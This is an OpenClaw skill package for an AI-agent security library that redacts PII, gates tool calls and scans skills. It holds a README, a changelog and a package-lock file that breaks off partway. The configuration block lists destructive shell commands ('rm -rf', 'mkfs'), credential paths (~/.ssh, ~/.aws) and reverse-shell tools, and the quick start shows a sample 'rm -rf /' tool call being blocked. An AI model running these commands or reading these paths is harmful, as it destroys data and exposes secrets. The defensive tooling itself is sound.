Skill: torkjacobs/tork-guardian (version 1.0.2)

# Tork Guardian for OpenClaw > OpenClaw is powerful. Tork makes it safe. Enterprise-grade security and governance layer for OpenClaw agents. Detect PII, enforce policies, generate compliance receipts, control tool access, and scan skills for vulnerabilities before installation. ## Installation ```bash npm install @torknetwork/guardian ``` ## Quick Start ```typescript import { TorkGuardian } from '@torknetwork/guardian'; const guardian = new TorkGuardian({ [REDACTED_SECRET], }); // Govern an LLM request before sending const result = await guardian.governLLM({ messages: [ { role: 'user', content: 'Email [REDACTED_SECRET] about the project' }, ], }); // PII is redacted: "Email [EMAIL_REDACTED] about the project" // Check if a tool call is allowed const decision = guardian.governTool({ name: 'shell_execute', args: { command: 'rm -rf /' }, }); // { allowed: false, reason: 'Blocked shell command pattern: "rm -rf"' } ``` ## Network Security Tork Guardian governs all network activity — port binds, outbound connections, and DNS lookups — with SSRF prevention, reverse shell detection, and per-skill rate limiting. ### Using the network handler ```typescript const guardian = new TorkGuardian({ [REDACTED_SECRET], networkPolicy: 'default', }); const network = guardian.getNetworkHandler(); // Validate a port bind const bind = network.validatePortBind('my-skill', 3000, 'tcp'); // { allowed: true, reason: 'Port 3000/tcp bound' } // Validate an outbound connection const egress = network.validateEgress('my-skill', 'api.openai.com', 443); // { allowed: true, reason: 'Egress to api.openai.com:443 allowed' } // Validate a DNS lookup (flags raw IPs) const dns = network.validateDNS('my-skill', 'api.openai.com'); // { allowed: true, reason: 'DNS lookup for api.openai.com allowed' } // Get the full activity log for compliance const log = network.getActivityLog(); // Get a network report with anomaly detection const report = network.getMonitor().getNetworkReport(); ``` ### Standalone functions ```typescript import { validatePortBind, validateEgress, validateDNS } from '@torknetwork/guardian'; const config = { [REDACTED_SECRET]', networkPolicy: 'strict' as const }; validatePortBind(config, 'my-skill', 3000, 'tcp'); validateEgress(config, 'my-skill', 'api.openai.com', 443); validateDNS(config, 'my-skill', 'api.openai.com'); ``` ### Switching policies ```typescript // Default — balanced for dev & production const guardian = new TorkGuardian({ [REDACTED_SECRET]', networkPolicy: 'default', }); // Strict — enterprise lockdown (443 only, explicit domain allowlist) const guardian = new TorkGuardian({ [REDACTED_SECRET]', networkPolicy: 'strict', }); // Custom — override any setting const guardian = new TorkGuardian({ [REDACTED_SECRET]', networkPolicy: 'custom', allowedOutboundPorts: [443, 8443], allowedDomains: ['api.myservice.com'], maxConnectionsPerMinute: 30, }); ``` See [docs/NETWORK-SECURITY.md](docs/NETWORK-SECURITY.md) for full details on threat coverage, policy comparison, and compliance receipts. ## Example Configs Pre-built configurations for common environments: ```typescript import { MINIMAL_CONFIG, DEVELOPMENT_CONFIG, PRODUCTION_CONFIG, ENTERPRISE_CONFIG, } from '@torknetwork/guardian'; ``` | Config | Policy | Network | Description | |--------|--------|---------|-------------| | `MINIMAL_CONFIG` | standard | default | Just an API key, all defaults | | `DEVELOPMENT_CONFIG` | minimal | default | Permissive policies, full logging | | `PRODUCTION_CONFIG` | standard | default | Blocked exfil domains (pastebin, ngrok, burp) | | `ENTERPRISE_CONFIG` | strict | strict | Explicit domain allowlist, 20 conn/min, TLS only | ```typescript import { TorkGuardian, PRODUCTION_CONFIG } from '@torknetwork/guardian'; const guardian = new TorkGuardian({ ...PRODUCTION_CONFIG, [REDACTED_SECRET], }); ``` ## Configuration ```typescript const guardian = new TorkGuardian({ // Required [REDACTED_SECRET]', // Optional baseUrl: 'https://www.tork.network', // API endpoint policy: 'standard', // 'strict' | 'standard' | 'minimal' redactPII: true, // Enable PII redaction // Shell command governance blockShellCommands: [ 'rm -rf', 'mkfs', 'dd if=', 'chmod 777', 'shutdown', 'reboot', ], // File access control allowedPaths: [], // Empty = allow all (except blocked) blockedPaths: [ '.env', '.env.local', '~/.ssh', '~/.aws', 'credentials.json', ], // Network governance networkPolicy: 'default', // 'default' | 'strict' | 'custom' allowedInboundPorts: [3000, 8080], // Ports skills may bind to allowedOutboundPorts: [443], // Ports for outbound connections allowedDomains: ['api.openai.com'], // If non-empty, only these domains are allowed blockedDomains: ['evil.com'], // Domains always blocked maxConnectionsPerMinute: 60, // Per-skill egress rate limit }); ``` ## Policies | Policy | PII | Shell | Files | Network | |--------|-----|-------|-------|---------| | **strict** | Deny on detection | Block all | Whitelist only | Block all | | **standard** | Redact | Block dangerous | Block sensitive | Allow | | **minimal** | Redact | Allow all | Allow all | Allow all | ## Standalone Functions ```typescript import { redactPII, generateReceipt, governToolCall } from '@torknetwork/guardian'; // Redact PII from text const result = await redactPII('tork_...', 'Call 555-123-4567'); // Generate a compliance receipt const receipt = await generateReceipt('tork_...', 'Processed user data'); // Check a tool call against policy const decision = governToolCall( { name: 'file_write', args: { path: '.env' } }, { policy: 'standard', blockedPaths: ['.env'] } ); ``` ## Security Scanner Scan any OpenClaw skill for vulnerabilities **before** installing it. The scanner checks for 14 security patterns across code and network categories. ### CLI ```bash # Scan a skill directory npx tork-scan ./my-skill # Full details for every finding npx tork-scan ./my-skill --verbose # JSON output for CI/CD npx tork-scan ./my-skill --json # Fail on any high or critical finding npx tork-scan ./my-skill --strict ``` ### Programmatic ```typescript import { SkillScanner, generateBadge } from '@torknetwork/guardian'; const scanner = new SkillScanner(); const report = await scanner.scanSkill('./my-skill'); console.log(`Risk: ${report.riskScore}/100`); console.log(`Verdict: ${report.verdict}`); // 'verified' | 'reviewed' | 'flagged' ``` See [docs/SCANNER.md](docs/SCANNER.md) for the full rule reference, severity weights, and example output. ## Tork Verified Badges Skills that pass the security scanner receive a Tork Verified badge: | Badge | Score | Meaning | |-------|-------|---------| | **Tork Verified** (green) | 0 - 29 | Safe to install | | **Tork Reviewed** (yellow) | 30 - 49 | Manual review recommended | | **Tork Flagged** (red) | 50 - 100 | Security risks detected | ```typescript import { SkillScanner, generateBadge, generateBadgeMarkdown } from '@torknetwork/guardian'; const scanner = new SkillScanner(); const report = await scanner.scanSkill('./my-skill'); const badge = generateBadge(report); // Add to your README console.log(generateBadgeMarkdown(badge)); ``` ## Get Your API Key Sign up at [tork.network](https://tork.network) to get your API key.

path: CHANGELOG.md
content: # Changelog

All notable changes to this project will be documented in this file.

## [1.0.0] - 2026-02-06

### Added

- **Core governance**: TorkGuardian class with LLM request and tool call interception
- **PII redaction**: Automatic detection and redaction of emails, SSNs, phone numbers, credit cards
- **Compliance receipts**: Cryptographic audit trail for every governed interaction
- **Policy enforcement**: Configurable strict/standard/minimal policies
- **Shell command governance**: Block dangerous commands (rm -rf, chmod 777, fork bombs)
- **File access control**: Whitelist/blacklist paths to protect secrets and credentials
- **Network security**: Port binding validation, egress filtering, SSRF prevention against private networks
- **Reverse shell detection**: Pattern matching across 11+ shell signatures (bash, nc, python, perl, ruby, php, socat, mkfifo, powershell)
- **Network compliance receipts**: Timestamped audit trail for port binds, egress, DNS, and denied requests
- **Default + strict network policies**: Pre-configured for development and enterprise lockdown
- **NetworkMonitor**: Real-time connection tracking with anomaly detection
- **Security scanner**: 14 detection rules (SEC-001 through SEC-007, NET-001 through NET-007)
- **Risk scoring**: Severity-weighted scoring system (critical=25, high=15, medium=8, low=3), capped at 100
- **Verdict system**: Automatic classification as verified (< 30), reviewed (30-49), or flagged (>= 50)
- **Tork Verified badge system**: Generate markdown and JSON badges for skill READMEs
- **CLI**: `tork-scan` command with `--json`, `--verbose`, `--strict` flags
- **4 example configurations**: minimal, development, production, enterprise
- **104 tests**: Full coverage across network access, scanner rules, and badge generation
- **0 TypeScript errors**: Strict mode, full type safety


path: README.md
content: # Tork Guardian for OpenClaw

> OpenClaw is powerful. Tork makes it safe.

Enterprise-grade security and governance layer for OpenClaw agents. Detect PII, enforce policies, generate compliance receipts, control tool access, and scan skills for vulnerabilities before installation.

## Installation

```bash
npm install @torknetwork/guardian
```

## Quick Start

```typescript
import { TorkGuardian } from '@torknetwork/guardian';

const guardian = new TorkGuardian({
  [REDACTED_SECRET],
});

// Govern an LLM request before sending
const result = await guardian.governLLM({
  messages: [
    { role: 'user', content: 'Email [REDACTED_SECRET] about the project' },
  ],
});
// PII is redacted: "Email [EMAIL_REDACTED] about the project"

// Check if a tool call is allowed
const decision = guardian.governTool({
  name: 'shell_execute',
  args: { command: 'rm -rf /' },
});
// { allowed: false, reason: 'Blocked shell command pattern: "rm -rf"' }
```

## Network Security

Tork Guardian governs all network activity — port binds, outbound connections, and DNS lookups — with SSRF prevention, reverse shell detection, and per-skill rate limiting.

### Using the network handler

```typescript
const guardian = new TorkGuardian({
  [REDACTED_SECRET],
  networkPolicy: 'default',
});

const network = guardian.getNetworkHandler();

// Validate a port bind
const bind = network.validatePortBind('my-skill', 3000, 'tcp');
// { allowed: true, reason: 'Port 3000/tcp bound' }

// Validate an outbound connection
const egress = network.validateEgress('my-skill', 'api.openai.com', 443);
// { allowed: true, reason: 'Egress to api.openai.com:443 allowed' }

// Validate a DNS lookup (flags raw IPs)
const dns = network.validateDNS('my-skill', 'api.openai.com');
// { allowed: true, reason: 'DNS lookup for api.openai.com allowed' }

// Get the full activity log for compliance
const log = network.getActivityLog();

// Get a network report with anomaly detection
const report = network.getMonitor().getNetworkReport();
```

### Standalone functions

```typescript
import { validatePortBind, validateEgress, validateDNS } from '@torknetwork/guardian';

const config = { [REDACTED_SECRET]', networkPolicy: 'strict' as const };

validatePortBind(config, 'my-skill', 3000, 'tcp');
validateEgress(config, 'my-skill', 'api.openai.com', 443);
validateDNS(config, 'my-skill', 'api.openai.com');
```

### Switching policies

```typescript
// Default — balanced for dev & production
const guardian = new TorkGuardian({
  [REDACTED_SECRET]',
  networkPolicy: 'default',
});

// Strict — enterprise lockdown (443 only, explicit domain allowlist)
const guardian = new TorkGuardian({
  [REDACTED_SECRET]',
  networkPolicy: 'strict',
});

// Custom — override any setting
const guardian = new TorkGuardian({
  [REDACTED_SECRET]',
  networkPolicy: 'custom',
  allowedOutboundPorts: [443, 8443],
  allowedDomains: ['api.myservice.com'],
  maxConnectionsPerMinute: 30,
});
```

See [docs/NETWORK-SECURITY.md](docs/NETWORK-SECURITY.md) for full details on threat coverage, policy comparison, and compliance receipts.

## Example Configs

Pre-built configurations for common environments:

```typescript
import {
  MINIMAL_CONFIG,
  DEVELOPMENT_CONFIG,
  PRODUCTION_CONFIG,
  ENTERPRISE_CONFIG,
} from '@torknetwork/guardian';
```

| Config | Policy | Network | Description |
|--------|--------|---------|-------------|
| `MINIMAL_CONFIG` | standard | default | Just an API key, all defaults |
| `DEVELOPMENT_CONFIG` | minimal | default | Permissive policies, full logging |
| `PRODUCTION_CONFIG` | standard | default | Blocked exfil domains (pastebin, ngrok, burp) |
| `ENTERPRISE_CONFIG` | strict | strict | Explicit domain allowlist, 20 conn/min, TLS only |

```typescript
import { TorkGuardian, PRODUCTION_CONFIG } from '@torknetwork/guardian';

const guardian = new TorkGuardian({
  ...PRODUCTION_CONFIG,
  [REDACTED_SECRET],
});
```

## Configuration

```typescript
const guardian = new TorkGuardian({
  // Required
  [REDACTED_SECRET]',

  // Optional
  baseUrl: 'https://www.tork.network',   // API endpoint
  policy: 'standard',                     // 'strict' | 'standard' | 'minimal'
  redactPII: true,                        // Enable PII redaction

  // Shell command governance
  blockShellCommands: [
    'rm -rf', 'mkfs', 'dd if=', 'chmod 777',
    'shutdown', 'reboot',
  ],

  // File access control
  allowedPaths: [],                        // Empty = allow all (except blocked)
  blockedPaths: [
    '.env', '.env.local', '~/.ssh',
    '~/.aws', 'credentials.json',
  ],

  // Network governance
  networkPolicy: 'default',               // 'default' | 'strict' | 'custom'
  allowedInboundPorts: [3000, 8080],       // Ports skills may bind to
  allowedOutboundPorts: [443],             // Ports for outbound connections
  allowedDomains: ['api.openai.com'],      // If non-empty, only these domains are allowed
  blockedDomains: ['evil.com'],            // Domains always blocked
  maxConnectionsPerMinute: 60,             // Per-skill egress rate limit
});
```

## Policies

| Policy | PII | Shell | Files | Network |
|--------|-----|-------|-------|---------|
| **strict** | Deny on detection | Block all | Whitelist only | Block all |
| **standard** | Redact | Block dangerous | Block sensitive | Allow |
| **minimal** | Redact | Allow all | Allow all | Allow all |

## Standalone Functions

```typescript
import { redactPII, generateReceipt, governToolCall } from '@torknetwork/guardian';

// Redact PII from text
const result = await redactPII('tork_...', 'Call 555-123-4567');

// Generate a compliance receipt
const receipt = await generateReceipt('tork_...', 'Processed user data');

// Check a tool call against policy
const decision = governToolCall(
  { name: 'file_write', args: { path: '.env' } },
  { policy: 'standard', blockedPaths: ['.env'] }
);
```

## Security Scanner

Scan any OpenClaw skill for vulnerabilities **before** installing it. The scanner checks for 14 security patterns across code and network categories.

### CLI

```bash
# Scan a skill directory
npx tork-scan ./my-skill

# Full details for every finding
npx tork-scan ./my-skill --verbose

# JSON output for CI/CD
npx tork-scan ./my-skill --json

# Fail on any high or critical finding
npx tork-scan ./my-skill --strict
```

### Programmatic

```typescript
import { SkillScanner, generateBadge } from '@torknetwork/guardian';

const scanner = new SkillScanner();
const report = await scanner.scanSkill('./my-skill');

console.log(`Risk: ${report.riskScore}/100`);
console.log(`Verdict: ${report.verdict}`); // 'verified' | 'reviewed' | 'flagged'
```

See [docs/SCANNER.md](docs/SCANNER.md) for the full rule reference, severity weights, and example output.

## Tork Verified Badges

Skills that pass the security scanner receive a Tork Verified badge:

| Badge | Score | Meaning |
|-------|-------|---------|
| **Tork Verified** (green) | 0 - 29 | Safe to install |
| **Tork Reviewed** (yellow) | 30 - 49 | Manual review recommended |
| **Tork Flagged** (red) | 50 - 100 | Security risks detected |

```typescript
import { SkillScanner, generateBadge, generateBadgeMarkdown } from '@torknetwork/guardian';

const scanner = new SkillScanner();
const report = await scanner.scanSkill('./my-skill');
const badge = generateBadge(report);

// Add to your README
console.log(generateBadgeMarkdown(badge));
```

## Get Your API Key

Sign up at [tork.network](https://tork.network) to get your API key.


path: package-lock.json
content: {
  "name": "@torknetwork/guardian",
  "version": "1.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "@torknetwork/guardian",
      "version": "1.0.1",
      "license": "MIT",
      "dependencies": {
        "axios": "^1.7.0",
        "zod": "^3.23.0"
      },
      "bin": {
        "tork-scan": "dist/scanner/cli.js"
      },
      "devDependencies": {
        "vitest": "^4.0.18"
      }
    },
    "node_modules/@esbuild/aix-ppc64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "aix"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/android-arm": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "android"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/android-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "android"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/android-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "android"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/darwin-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "darwin"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/darwin-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "darwin"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/freebsd-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "freebsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/freebsd-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "freebsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-arm": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-ia32": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ia32"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-loong64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "loong64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-mips64el": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "mips64el"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-ppc64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-riscv64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "riscv64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-s390x": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "s390x"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/linux-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/netbsd-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "netbsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/netbsd-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "netbsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/openbsd-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "openbsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/openbsd-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "openbsd"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/openharmony-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "openharmony"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/sunos-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "sunos"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/win32-arm64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/win32-ia32": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ia32"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@esbuild/win32-x64": {
      "version": "0.27.3",
      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "win32"
      ],
      "engines": {
        "node": ">=18"
      }
    },
    "node_modules/@jridgewell/sourcemap-codec": {
      "version": "1.5.5",
      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
      "integrity": [REDACTED_SECRET],
      "dev": true,
      "license": "MIT"
    },
    "node_modules/@rollup/rollup-android-arm-eabi": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "android"
      ]
    },
    "node_modules/@rollup/rollup-android-arm64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "android"
      ]
    },
    "node_modules/@rollup/rollup-darwin-arm64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "darwin"
      ]
    },
    "node_modules/@rollup/rollup-darwin-x64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "darwin"
      ]
    },
    "node_modules/@rollup/rollup-freebsd-arm64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "freebsd"
      ]
    },
    "node_modules/@rollup/rollup-freebsd-x64": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "x64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "freebsd"
      ]
    },
    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-arm-musleabihf": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-arm64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-arm64-musl": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "arm64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-loong64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "loong64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-loong64-musl": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "loong64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-ppc64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-ppc64-musl": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "ppc64"
      ],
      "dev": true,
      "license": "MIT",
      "optional": true,
      "os": [
        "linux"
      ]
    },
    "node_modules/@rollup/rollup-linux-riscv64-gnu": {
      "version": "4.57.1",
      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.57.1.tgz",
      "integrity": [REDACTED_SECRET],
      "cpu": [
        "riscv64"
